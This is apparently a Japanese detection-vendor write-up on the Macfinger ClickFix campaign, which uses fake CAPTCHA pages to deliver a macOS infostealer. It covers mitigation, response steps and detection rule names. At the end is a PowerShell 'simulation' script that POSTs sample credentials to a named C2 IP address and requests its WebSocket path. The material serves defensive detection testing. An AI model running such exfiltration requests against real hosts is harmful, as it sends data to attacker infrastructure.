Macfingerクリックフィックスキャンペーン:マルウェアの分析
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
Macfinger ClickFixキャンペーンは、偽CAPTCHA認証ページを通じて、識別されていないmacOS情報窃取マルウェアを配信します。この攻撃は、シェルスクリプトを使用して、IntelまたはApple Siliconシステム向けのアーキテクチャ固有のMach-Oバイナリを取得します。起動後、マルウェアは広範なシステム権限を要求し、HTTP POSTリクエストおよびWebSocketベースの通信を通じて機密情報を流出させます。
調査
この調査は、macOS 27.0 ホストで観測された感染に焦点を当てています。アナリストは、初期のシェルスクリプトローダー、続いてのMach-Oバイナリの取得、マルウェアのコマンド・アンド・コントロール通信パターンを追跡しました。この研究はまた、持続性、データ収集、流出動作の違いに基づいて、以前に文書化されたAMOS Stealerとの脅威を区別しました。
緩和策
ユーザーは、疑わしいブラウザベースのCAPTCHAプロンプトとサイトから提供される予期しないターミナルコマンドに対話しないようにするべきです。組織は、LaunchAgentsへの不正な変更や、次に書き込まれる疑わしいダウンロードを監視するべきです。 /Library/Caches ディレクトリ。管理者特権を制限することも、マルウェアが実行に必要なシステム全体の権限を取得する能力を減らすことができます。
対応
Macfinger関連の活動が検出された場合は、さらにデータを流出させないように、影響を受けたmacOSエンドポイントをネットワークから隔離してください。 /Library/LaunchAgents/ and /Library/Caches/ ディレクトリを調べて持続性のアーティファクトを特定します。システムログを確認し、Documents、Desktop、およびDownloadsなどの機密な場所への不正な権限要求とアクセスを確認します。
攻撃フロー
検知
不正なトップレベルドメイン(TLD)DNSリクエストによる疑わしいコマンド・アンド・コントロール(dns経由)
Base64エンコードされた文字列操作の可能性 [MacOS](cmdline経由)
疑わしいCurl実行試み [MacOS](cmdline経由)
Macfinger ClickFixキャンペーンからのマルウェアを検出するためのIOC(HashSha256)
Macfinger ClickFixキャンペーンからのマルウェアを検出するためのIOC(SourceIP)
Macfinger ClickFixキャンペーンからのマルウェアを検出するためのIOC(DestinationIP)
Macfinger ClickFix C2トラフィックとデータ流出を検出[HTTPトラフィック]
Macfinger ClickFixキャンペーン感染の検出 [macOSプロセス生成]
シミュレーション実行
-
攻撃ストーリーとコマンド: 敵対者は初期アクセスに成功し、収集された資格情報を流出させようとしています。標準のウェブフィルターによる検出を避けるために、カスタムのGoベースのエージェントを使用します。エージェントは、ユーザー資格情報を含むPOSTリクエストをC2エンドポイントに送信するようにプログラムされています。
/api/credentials。その後、/api/tにWebSocket接続を確立して、さらなる指示を受け取ります。シミュレーションは、特定のHTTP特性(IP、ユーザーエージェント、URI)を模倣するためにPowerShellを使用して、検出ルールをトリガーします。 -
回帰テストスクリプト:
# Macfinger C2トラフィックのシミュレーション $C2_IP = "95.163.153.80" $UserAgent = "Go-http-client/1.1" Write-Host "[+] Macfingerシミュレーションを開始しています..." -ForegroundColor Cyan # 1. HTTP POSTを介したデータ流出をシミュレート Write-Host "[+] データ流出の試行 (POST /api/credentials)..." -ForegroundColor Yellow try { $exfilParams = @{ Uri = "http://$($C2_IP)/api/credentials" Method = "POST" UserAgent = $UserAgent Body = "user=admin&pass=P@ssword123" ContentType = "application/x-www-form-urlencoded" } Invoke-RestMethod @exfilParams } catch { Write-Host "[-] リクエストが失敗しました(IPが到達不可能な場合は予想されます): $($_.Exception.Message)" -ForegroundColor Gray } # 2. WebSocket (HTTP GETによるURIへのシミュレーション)によるコマンド・アンド・コントロールをシミュレート # 注記: 真のWebSocketハンドシェイクには特定のライブラリが必要ですが、ネットワークテレメトリーのために、 # URIへの初期GETリクエストが主要なトリガーとなります。 Write-Host "[+] WebSocketハンドシェイクの試行 (GET /api/t)..." -ForegroundColor Yellow try { $wsParams = @{ Uri = "http://$($C2_IP)/api/t" Method = "GET" UserAgent = $UserAgent } Invoke-RestMethod @wsParams } catch { Write-Host "[-] リクエストが失敗しました(IPが到達不可能な場合は予想されます): $($_.Exception.Message)" -ForegroundColor Gray } Write-Host "[+] シミュレーション完了。" -ForegroundColor Cyan -
クリーンアップコマンド:
# このシミュレーションスクリプトによって永続的なアーティファクトは作成されません。 # ターゲットIPへのアクティブな接続が残っていないことを確認します。 Get-NetTCPConnection -RemoteAddress 95.163.153.80 -ErrorAction SilentlyContinue | Remove-NetTCPConnection -Confirm:$false